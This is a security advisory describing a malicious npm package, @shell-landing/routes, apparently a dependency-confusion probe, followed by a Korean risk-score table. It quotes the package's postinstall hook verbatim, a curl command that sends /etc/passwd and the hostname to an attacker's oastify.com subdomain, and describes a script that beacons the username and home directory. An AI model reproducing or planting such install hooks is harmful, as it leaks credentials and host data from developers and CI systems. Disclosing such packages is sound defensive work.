Malicious code in @shell-landing/routes (npm)
-= Per source details. Do not edit below this line.=-
On npm install, the package's postinstall hook runs node scripts/scream3gg.js && /usr/bin/curl --data '@/etc/passwd' $(hostname).200hj786m7x4kfz1lkr4kmshu80zoqcf.oastify.com. The curl invocation POSTs the contents of /etc/passwd to an attacker-controlled Burp Collaborator subdomain, embedding the installer's hostname in the request. The companion script scripts/scream3gg.js hex-encodes os.hostname(), os.homedir(), and os.userInfo().username and beacons each as an HTTP GET subdomain of *.nmd25sur8sjp60lm75dp67e2gtmkaayz.oastify.com. The package contains no library code, no README, and no main entry — version 99.9.5 with a pure-exfil payload under the @shell-landing scope is consistent with a dependency-confusion probe targeting an internal package name. Any developer or CI running npm install will leak host identity and /etc/passwd to attacker infrastructure.
왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도(기본값(정보 없음)) | 55.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 55.00 |
VPI 공식 vpi-v1 기준